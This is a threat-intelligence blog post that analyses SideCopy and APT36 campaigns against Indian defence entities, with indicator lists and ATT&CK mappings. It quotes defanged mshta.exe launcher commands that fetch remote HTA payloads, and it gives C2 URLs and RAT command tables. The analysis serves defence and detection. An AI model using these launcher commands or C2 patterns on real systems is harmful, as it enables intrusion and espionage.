Estimated reading time: 13 minutes
SEQRITE Labs APT-Team has discovered multiple campaigns of APT SideCopy, targeting Indian government and defense entities in the past few months. The threat group is now exploiting the recent WinRAR vulnerability CVE-2023-38831 (See our advisory for more details) to deploy AllaKore RAT, DRat and additional payloads. The compromised domains, used to host payloads by SideCopy, are reused multiple times, resolving to the same IP address. It has also deployed a Linux variant of open-source agent called Ares RAT, where code similarity with its parent threat group Transparent Tribe (APT36) has been found in the stager payload. Conducting multi-platform attacks simultaneously with the same decoys and naming convention, both SideCopy and APT36 share infrastructure and code to aggressively target India.
In this blog, we’ll delve into the technicalities of two such campaigns we encountered during our telemetry analysis. We have observed more similar ongoing campaigns unfold and expect them to continue as the Israel-Hamas conflict intensifies, where not only Pakistan-aligned hacktivists but also other groups against Israel are targeting Indian websites with DDoS, defacement, and data breach attacks.
Threat Actor Profile
SideCopy is a Pakistan-linked Advanced Persistent Threat group that has been targeting South Asian countries, primarily the Indian Defense and Afghanistan government entities, since at least 2019. Almost every month, a new attack campaign has been observed this year in our telemetry, with changes over time where additional stages with Double Action RAT, new .NET-based RAT, and TTPs where PowerShell remote execution has been uncovered by our team. Its arsenal includes Action RAT, AllaKore RAT, Reverse RAT, Margulas RAT and more.
This group is associated as a sub-division of Transparent Tribe (APT36), which has been persistently targeting the Indian Military and is continuing to target university students aggressively this year to share student data, possibly with terrorist groups for recruitment. It has updated its Linux malware arsenal this year with Poseidon and other utilities. Active since 2013, it has continuously used payloads such as Crimson RAT, Capra RAT, and Oblique RAT in its campaigns.
Pakistani agents have used honey traps to lure defense personnel, creating an immense impact and damage by stealing confidential intel in this form of cyber espionage.
Analysis of Campaign-1
The first campaign of SideCopy observed is spread via a phishing link that downloads an archive file named “Homosexuality – Indian Armed Forces.” The decoy document is related to NSRO and is called “ACR.pdf” or “ACR_ICR_ECR_Form_for_Endorsement_New_Policy.pdf.”
Fig. 1 – Decoy PDF
Interestingly, we found the same decoy PDF is utilized by the Linux variant of Ares RAT, which was first seen in the last week of August on Virus Total. Both the compromised domains used resolved to the same IP address, as shown in the below figure. The domains used in April ‘ssynergy[.]in’ and May ‘elfinindia[.]com’ campaigns also point to the same IP. Moreover, the archive files hosted on different domains have the same name, indicating the reuse of compromised domains.
Fig. 2 – Infection chain-1 with the same IP
The phishing URL targeting the Windows platform points to sunfireglobal[.]in, a compromised domain that is not alive at the time of writing, is resolving to the IP: 162.241.85[.]104. URL is:
hxxps://sunfireglobal[.]in/public/core/homo/Homosexuality%20-%20Indian%20Armed%20Forces.zip |
This contains a malicious shortcut file in a double extension format named “Homosexuality – Indian Armed Forces ․pdf.lnk” that triggers a remote HTA file as:
C:WindowsSystem32mshta.exe “hxxps://sunfireglobal[.]in/public/assests/files/db/acr/” && tar.exe |
It contains two embedded files that are base64 encoded; one is the decoy PDF, and the other is a DLL. Only minor changes were observed in the HTA, and functionality remains the same – to check the .NET version, fetch the AV installed, decode, and run the DLL in-memory.
After the decoy file is opened by the DLL (preBotHta), it beacons to the same domain and downloads an HTA and the final DLL contents to their target paths. The downloaded HTA is saved as “seqrite.jpg” in the TEMP folder, later moved to the target folder, and executed. Depending on the AV present – SEQRITE, Quick Heal, Kaspersky, Avast, Avira, Bitdefender, and Windows Defender; it executes the final DLL payload.
Fig. 3 – DLL preBotHta run in-memory
Legitimate Windows apps like Credential wizard (credwiz.exe) or EFS REKEY wizard (rekeywiz.exe) are copied beside the target to sideload the DLL. Persistence is maintained via Startup (or) Run registry key to load the final RAT payload on system reboot. (Detailed analysis of Action RAT and all other payloads can be found in our previous whitepaper)
Another archive file with the same name, “Homosexuality – Indian Armed Forces.zip,” is seen that contains an ELF file. It is spread using a domain named “occoman[.]com,” resolving to the same IP address for the sunfireglobal[.].in, showing the sharing of IP between compromised domains.
Fig. 4 – Content of both the archives
Different file names for this Golang-based Linux malware that is masqueraded as a PDF were found as:
Homosexuality – Indian Armed Forces ․pdf | 2023-10-24 |
Unit Training Program ․pdf | 2023-09-20 |
Social Media Usage ․pptx | 2023-08-30 |
Utilizing the GoReSym plugin with IDA, we can extract function metadata as the binary is stripped (See our in-depth analysis of Go-based Warp malware for plugin details).
The process flow is similar to the first stage seen in the case of the Poseidon agent (observed by Uptycs and Zscaler) having the exact target location, though this stage is not compiled using PyInstaller:
- Create a crontab to maintain persistence through system reboot under the current username.
- Download the decoy to the target directory “/.local/share” and open it.
- Download the Ares agent as “/.local/share/updates” and execute it.
Fig. 5 – Process flow of Stage-1
After extracting the contents of the final PyInstaller payload, two Python-compiled files of our interest (agent.pyc and config.pyc) are retrieved. Decompiling and examining them leads to an open-source Python RAT called Ares. The URL format used to ping the server is: “hxxps://(host)/api/(uid)/hello.” and it includes the platform, hostname and username of the victim machine along with it. It supports the following 13 commands for C2 communication.
Command | Description |
upload | Uploads a local file to the server |
download | Downloads a file via HTTP(s) |
zip | Creates a zip archive of a file or folder |
cd | Change the current directory |
screenshot | Takes a screenshot and uploads it to the server |
python | Runs a Python command or a Python file |
persist | Installs the agent via AutoStart directory |
clean | Uninstalls the agent |
exit | Kills the agent |
crack | Removes persistence and kills the agent |
listall | List file directory and upload it to the server |
help | Display the help |
<command> | Executes a shell command and returns its output |
No major changes were observed in the agent apart from changing the name from ares to gedit, and the server used by the agent is present in the config file: 161.97.151[.]200:7015. Both the agent and config scripts include the name ‘lee’ pointing to the same agent as referred by Lumen.
Fig. 6 – Config file
Fig. 7 – Agent script
This payload is also named “bossupdate,” a similar naming convention seen with Poseidon and other utilities of Transparent Tribe that starts with the ‘boss’ prefix. APT36 is aiming for the operating system BOSS, developed in India for government entities, and is constantly expanding its Linux arsenal. Back in 2021, SideCopy was linked to the same RAT by QiAnXin’s Red Raindrop Team and a forked version called BackNet by Telsy later.
Analysis of Campaign-2
The second campaign has the same scenario where IP sharing is seen not only with the compromised domains but also with the C2 infrastructure. Exploitation of the recent WinRAR vulnerability CVE-2023-38831 is done via phishing, which downloads malicious archive files. Upon opening the archive files, a pdf file and a folder with the same name are present.
Fig. 8 – Archives used for WinRAR exploitation
Opening the PDF will trigger the vulnerability, quietly launching the payload inside the folder by ShellExecute function of the WinRAR application. The decoy PDF is related to an organization called the ‘All India Association of Non-Gazetted Officers’ (AIANGOs), which mentions a peaceful protest program to the Indian Ministry of Defense. Headquartered in Mumbai, AIANGOs was recognized by GOI, MoD in 2000 under CCS(RSA) Rule 1993 and affiliated to CDRA, as mentioned on their X (Twitter) page.
Fig. 9 – Decoy used in WinRAR exploitation
The payload present in the folder is the AllaKore RAT agent, which has the functionality to steal system information, keylogging, take screenshots, upload & download files, and take the remote access of the victim machine to send commands and upload stolen data to the C2. Additionally, more connections have been made with the C2 utilized and its previous campaign, as described below:
Fig. 10 – Infection chain-2 with IP sharing with domains and C2
Correlation
- A similar attack chain of SideCopy is observed with the lure document “DocScanner-Oct” referring to the Ministry of Defences’ Saudi Delegation. The same decoy was observed to be used by SideCopy & APT36 earlier in an April & May campaign, respectively.
- The compromised domain in this chain, ‘rockwellroyalhomes[.]com’ is resolving to the same IP 103.76.213[.]95 used with the domain ‘isometricsindia[.]co.in,’ which was observed to be used by them in an August campaign utilizing the theme: “US vs. China trade war.”
- The final payload DRat connects with the IP 38.242.149[.]89 for C2 communication used with AllaKore RAT.
- A similar phishing URL is found on the same “rockwellroyalhomes” domain, named similarly “DocScanner_AUG_2023.zip.” This leads to another Ares RAT sample, connecting to C2 having IP 38.242.220[.]166:9012, where the decoy points to India’s Ministry of Defense again regarding the “Parliament Matter.”
Fig. 8 – Decoy used with Ares RAT
The phishing URL is pointing to rockwellroyalhomes[.]com, a compromised domain that is resolving to the IP: 103.76.231[.]95
hxxps://www.rockwellroyalhomes.com/js/FL/DocScanner-Oct.zip |
This contains a malicious shortcut file in a double extension format named “DocScanner-Oct.zip․pdf.lnk,” that triggers a remote HTA file as:
C:WindowsSystem32mshta.exe hxxps://www.rockwellroyalhomes.com/js/content/ & mshta.exe |
It contains embedded files that are base64 encoded; they are decoy PDF, DLL, and EXE. Similar checks for anti-virus present on the victim machine is done, opens the decoy and drops the final DRat payload, a new Remote Access Trojan named from the PDB path:
d:ProjectsC#D-RatDRat ClientTenureobjReleaseMSEclipse.pdb |
The 13 commands supported have the following functionality:
Decoded Command | Functionality |
getInformitica | Send system info – User & OS name, timestamp, Start-up path |
sup | Send a ‘supconfirm’ message to start receiving commands |
close | Send a ‘closure’ message to close the connection and exit |
Kaamindina | Check running status |
del | Delete specific directory (or) file and send confirmation |
enterPath | Enter a specific directory and send attributes for each file & sub-folder |
backPath | Send the current working directory |
driveList | Fetch disk info and DeviceID using:
|
fdl | Upload file attributes |
fdIConfirm | Upload file |
fup | Download file |
fupexec | Download and execute (1) |
supexec | Download and execute (2) |
Fig. 8 – Reuse of decoy with DRat
Another campaign has been found with similar targeting of Windows and Linux platforms simultaneously. A new payload for Windows, named Key RAT, is deployed in this case along Ares RAT. IOCs for this third campaign have been included at the end.
C2 Infrastructure and Domains
All the C2 servers are registered in Germany to Contabo GmbH, commonly used by both the Pakistan-linked APTs.
38.242.149[.]89 | vmi1433024.contaboserver.net | AllaKore RAT and DRat |
207.180.192[.]77 | vmi747785.contaboserver.net | Key RAT |
38.242.220[.]166 | vmi1390334.contaboserver.net | Ares RAT |
161.97.151[.]220 | vmi1370228.contaboserver.net | Ares RAT |
One server of Ares that is linked with multiple baits, is running pfsense firewall on port 9012 for C2 communication – 38.242.220[.]166.
Fig. 9 – Ares server details
Fig. 10 – pfsense login page of Ares server
All the compromised domains used by SideCopy this year, have GoDaddy as registrar with HostGator server name. Whois details are:
IP | Domain | Campaign | Registrant |
103.76.213[.]95
Org: Spectra Technologies ISP: CtrlS Delhi, India – AS18229 |
isometricsindia[.]co.in | August | Ozanera Pvt. Ltd., Mumbai |
rockwellroyalhomes[.]com | October | Tempe, Arizona, US | |
162.241.85[.]104
Org & ISP: Unified Layer Provo, Utah, US – AS46606 |
sunfireglobal[.]in | October | West Bengal, India |
occoman[.]com | August | Tempe, Arizona, US | |
elfinindia[.]com | May | Tempe, Arizona, US | |
ssynergy[.]in | April | West Bengal, India |
We have seen the machine name ‘desktop-g4b6mh4’ associated with a huge number of shortcut files this year. It is not only observed in these campaigns, but new ones have been used by the threat actor:
- desktop-87p7en5
- desktop-ey8nc5b
Conclusion & Attribution
Expanding its arsenal with zero-day vulnerability, SideCopy consistently targets Indian defense organizations with various remote access trojans. Based on the attack chain, selection of target, baits used and infrastructure; these campaigns are attributed to SideCopy with high confidence. APT36 is expanding its Linux arsenal constantly, where sharing its Linux stagers with SideCopy is observed to deploy an open-source Python RAT called Ares. At the same time, we have observed telemetry hits for this campaign in multiple Indian cities, showing an uptick in activity amidst the Israel-Hamas conflict. Overall, both these and additional campaigns have connections to the sharing of code and infrastructure between these closely related threat groups.
SEQRITE Protection
LNK.Trojan.48283.GC | SideCopy.Trojan.48284.GC | JS.Trojan.47685 |
LNK.Dropper.47686.GC | SideCopy.Trojan.48285.GC | JS.Sidecopy.47539.GC |
LNK.Sidecopy.47538.GC | Trojan.SideCopy.S30112863 | JS.Sidecopy.47540 |
ELF.Agent.48298.GC | Trojan.SideCopy.S30112905 | JS.SideCopy.42911 |
ELF.Agent.48286.GC | Trojan.Sidecopy.S30112904 | Trojan.SideCopy |
Script.Trojan.47763 | TrojanAPT.SideCopy.PB1 |
Precautions to be taken
It is necessary to stay protected from such critical cyber-attacks by taking the following precautions:
- Avoid clicking on any unverified links from unknown sources.
- Do not download and open any attachments, especially archive files.
- Use endpoint protection to stay ahead in the ongoing threat landscape.
- Regularly update your OS and software apps to fix known vulnerabilities.
- Add password-protection to confidential documents and sensitive information.
IOCs
Windows
Archives | |
eb07a0063132e33c66d0984266afb8ae | DocScanner-Oct.zip |
8bee417262cf81bc45646da357541036 | Homosexuality – Indian Armed Forces.zip |
9e9f93304c8d77c9473de475545bbc23 | Achievements_of_DMA.rar |
9379ebf1a732bfb1f4f8915dbb82ca56 | Agenda_Points_Ammended.rar |
49b29596c81892f8fff321ff8d64105a | DMA_Monthly_Update_Minutes_of_Meeting-reg.zip |
Shortcut (LNK) | |
75f9d86638c8634620f02370c28b8ebd | DocScanner-Oct.pdf.lnk |
fc5eae3562c9dbf215384ddaf0ce3b03 | Homosexuality – Indian Armed Forces. pdf.lnk |
a52d2a0edccdc0f533c7b04e88fe8092 | agenda_points.docx.lnk
draft_short_PPT.pptx.lnk meeting_brief.pdf.lnk |
HTA | |
02c444c5c1ad25e6823457705e8820bc | msfnt.hta |
d6e214fd81e7afb57ea77b79f8ff1d45 | p.hta |
d0c80705be2bc778c7030aae1087f96e | main.hta |
DLL | |
31340EA400E6611486D5E57F0FAB5AF2 | SummitOfBion.dll |
FE0250AF25C625E24608D8594B716ECB | preBotHta.dll |
C872F21B06C4613954FFC0676C1092E3 | WinGfx.dll |
RAT | |
ff13b07eaabf984900e88657f5d193e6 | Msfront.exe (DRat) |
6f37dacf81af574f1c8a310c592df63f | Achievements_of_DMA.pdf .exe (AllaKore RAT) |
9f5354dcf6e6b5acd4213d9ff77ce07c | steistem.exe / Onlyme.exe (Key RAT) |
Decoys | |
CCB6723C14EBB0A12395668377CF3F7A | DocScanner-Oct.pdf |
acec2107d4839fbb04defbe376ac4973 | Achievements_of_DMA.pdf_ |
f759b6581367db35e3978125f4f6ff80 | ACR.pdf |
Others | |
B6FBCAE7980D4E02CE9ED9876717F385 | cache.bat |
4f541ec8cd238737e4e77a55fbcbb4f3 | d.txt |
PDB | |
d:ProjectsC#D-RatDRat ClientTenureobjReleaseMSEclipse.pdb | |
C:UsersBossDesktoptestClientClientobjReleaseOnlyme.pdb |
Linux
Archive | |
7cba23cfd9587211e7a214a88589cf25 | DocScanner_AUG_2023.zip |
04a65069054085cd81daabe4fc15ce76 | Homosexuality – Indian Armed Forces.zip |
c61b19cbedcb878aff45c067d503d556 | meeting-details.zip |
eccc72deb8ce41433ed13591b4557343 | DMA_Monthly_Update_Minutes_of_Meeting-reg.zip |
Stager | |
9375e3c13c85990822d2f09a66b551d9 | DocScanner_AUG_2023.pdf |
42a696ef6f7acf0919fea9748029a966 | Homosexuality – Indian Armed Forces ․pdf |
54473E0D8CAFD950AFE32DE1A2F3A508 | DocScanner_Updated_letter․pdf |
36933B05B7E3060955E6A1FDFD7D8EC1 | draft_letter_nov_2023․docx |
508F4BFAD9F2482992AC7926910BD551 | updated_draft_PPT․pptx |
921915ecfe17593476648ad20cd61ecd | Meeting_Notice-reg․pdf |
Decoys | |
5e32703e3704b2b5c299c242713b1ec5 | DocScanner_AUG_2023.pdf |
f759b6581367db35e3978125f4f6ff80 | ACR.pdf |
af3ec4f8a072779eb0cac18eaafc256d | Meeting_Notice-reg.pdf |
0799e17933b875e3a54f01416e7505d5 | DocScanner_Updated_letter.pdf |
b4854c420bc39c8c77a0fcd9395a8748 | draft_letter_nov_2023.docx |
4cd0ee8186dc4203aad0cba48a8e5778 | updated_draft_PPT.pptx |
Ares RAT | |
088b89698b122454666e542b1e1d92a4 | bossupdate |
b992b03b0942658a516439b56afbf41a | updates |
ebbc1c4fc617cda7a0b341b12f45d2ad | updates |
C2 and Domains
38.242.149[.]89:61101 | AllaKore RAT |
38.242.149[.]89:9828 | DRat |
38.242.220[.]166:9012
161.97.151[.]220:7015 |
Ares RAT |
207.180.192[.]77:6023 | Key RAT |
162.241.85[.]104 | sunfireglobal[.]in
occoman[.]com elfinindia[.]com ssynergy[.]in |
103.76.213[.]95 | rockwellroyalhomes[.]com
isometricsindia[.]co.in |
URLs
hxxps://www.rockwellroyalhomes[.]com/js/FL/DocScanner-Oct.zip |
hxxps://www.rockwellroyalhomes[.]com/js/content/msfnt.hta |
hxxps://www.rockwellroyalhomes[.]com/js/content/2023-06-21-0056.pdf |
hxxps://www.rockwellroyalhomes[.]com/js/content/ |
hxxps://www.rockwellroyalhomes[.]com/js/FL/2023-06-21-0056.pdf |
hxxps://www.rockwellroyalhomes[.]com/crm/asset/css/files/file/ |
hxxps://www.rockwellroyalhomes[.]com/crm/asset/css/files/doc/ |
hxxps://www.rockwellroyalhomes[.]com/crm/asset/css/files/doc/DocScanner_AUG_2023.zip |
hxxps://sunfireglobal[.]in/public/core/homo/ |
hxxps://sunfireglobal[.]in/public/assests/files/db/acr/ |
hxxps://sunfireglobal[.]in/public/assests/files/auth/av |
hxxps://sunfireglobal[.]in/public/assests/files/auth/dl |
hxxps://sunfireglobal[.]in/public/assests/files/auth/ht |
hxxps://occoman[.]com/wp-admin/css/colors/ocean/files/files/tls |
hxxps://occoman[.]com/wp-admin/css/colors/ocean/files/files/ |
hxxps://occoman[.]com/wp-admin/css/colors/ocean/files/pdf/in |
hxxps://occoman[.]com/wp-admin/css/colors/ocean/files/files/bossupdate |
hxxps://futureuniform[.]ca/wp/wp-content/files/01/main.hta |
hxxps://futureuniform[.]ca/email.gov.in/briefcase/Meeting_Notice-reg.pdf |
hxxps://futureuniform[.]ca/mail.gov.in/briefcase/updated_draft_PPT.pptx |
hxxps://futureuniform[.]ca/mail.gov.in/briefcase/draft_letter_nov_2023.docx |
hxxps://futureuniform[.]ca/mail.gov.in/briefcase/DocScanner_Updated_letter.pdf |
hxxps://keziaschool[.]com/wp/wp-content/uploads/2023/files/bossupdate |
hxxps://keziaschool[.]com/wp/wp-content/uploads/2023/38 |
hxxp://38.242.220[.]166:9012/api/root_149371139681480/upload |
hxxp://38.242.220[.]166:9012/api/root_149371139681480/hello |
hxxp://38.242.220[.]166:9012/api/root_168683512566649/upload |
hxxp://38.242.220[.]166:9012/api/root_168683512566649/hello |
hxxp://38.242.220[.]166:9012/api/root_175170531258512/upload |
hxxp://38.242.220[.]166:9012/api/root_175170531258512/hello |
hxxp://161.97.151[.]220:7015/api/root_36854582802642/upload |
hxxp://161.97.151[.]220:7015/api/root_36854582802642/hello |
Host
C:UsersPublicaqueup.hta |
C:UsersPublicaquecdrzip.exe |
C:UsersPublicaquerekeywiz.exe |
C:UsersPublicaqueDUser.dll |
C:UsersPublicaquedata.bat |
C:UsersPublicMsfrontMsfront.exe |
C:UsersPublicwinowimg.jpg |
C:UsersPublicstremoesteistem.exe |
C:UsersPublicstremoestremoe.bat |
C:ProgramDataIntelcdrzip.exe |
C:ProgramDataIntelDUser.dll |
C:ProgramDataWinGfxcredwiz.exe |
C:ProgramDataWinGfxwingfx.bat |
C:ProgramDataWinGfxDUser.dll |
C:ProgramDataHPjquery.hta |
C:ProgramDataHPjscy.hta |
%AppData%MsfrontMsfront.exe |
%AppData%MsfrontDUser.dll |
%AppData%Msfrontcrezly.exe |
%Temp%cache.bat |
%Temp%MsfontMsfont.exe |
MITRE ATT&CK
Tactic | Technique ID | Name |
Resource Development | T1583.001
T1584.001 T1588.001 T1588.002 T1608.001 T1608.005 |
Acquire Infrastructure: Domains
Compromise Infrastructure: Domains Obtain Capabilities: Malware Obtain Capabilities: Tool Stage Capabilities: Upload Malware Stage Capabilities: Link Target |
Initial Access | T1566.001
T1566.002 |
Phishing: Spear phishing Attachment
Phishing: Spear phishing Link |
Execution | T1106
T1129 T1059 T1047 T1203 T1204.001 T1204.002 |
Native API
Shared Modules Command and Scripting Interpreter Windows Management Instrumentation Exploitation for Client Execution User Execution: Malicious Link User Execution: Malicious File |
Persistence | T1053.003
T1547.001 T1547.013 |
Scheduled Task/Job: Cron
Registry Run Keys / Startup Folder Boot or Logon Autostart Execution: XDG Autostart Entries |
Defense Evasion | T1036.005
T1140 T1218.005 T1574.002 T1222.002 T1027.009 T1027.010 |
Masquerading: Match Legitimate Name or Location
Deobfuscate/Decode Files or Information System Binary Proxy Execution: Mshta Hijack Execution Flow: DLL Side-Loading File and Directory Permissions Modification: Linux Obfuscated Files or Information: Embedded Payloads Obfuscated Files or Information: Command Obfuscation |
Discovery | T1012
T1033 T1057 T1082 T1083 T1016.001 T1518.001 |
Query Registry
System Owner/User Discovery Process Discovery System Information Discovery File and Directory Discovery System Network Configuration Discovery Software Discovery: Security Software Discovery |
Collection | T1005
T1056.001 T1074.001 T1119 T1113 T1125 |
Data from Local System
Input Capture: Keylogging Data Staged: Local Data Staging Automated Collection Screen Capture Video Capture |
Command and Control | T1105
T1571 T1573 T1071.001 |
Ingress Tool Transfer
Non-Standard Port Encrypted Channel Application Layer Protocol: Web Protocols |
Exfiltration | T1041 | Exfiltration Over C2 Channel |
Source: Original Post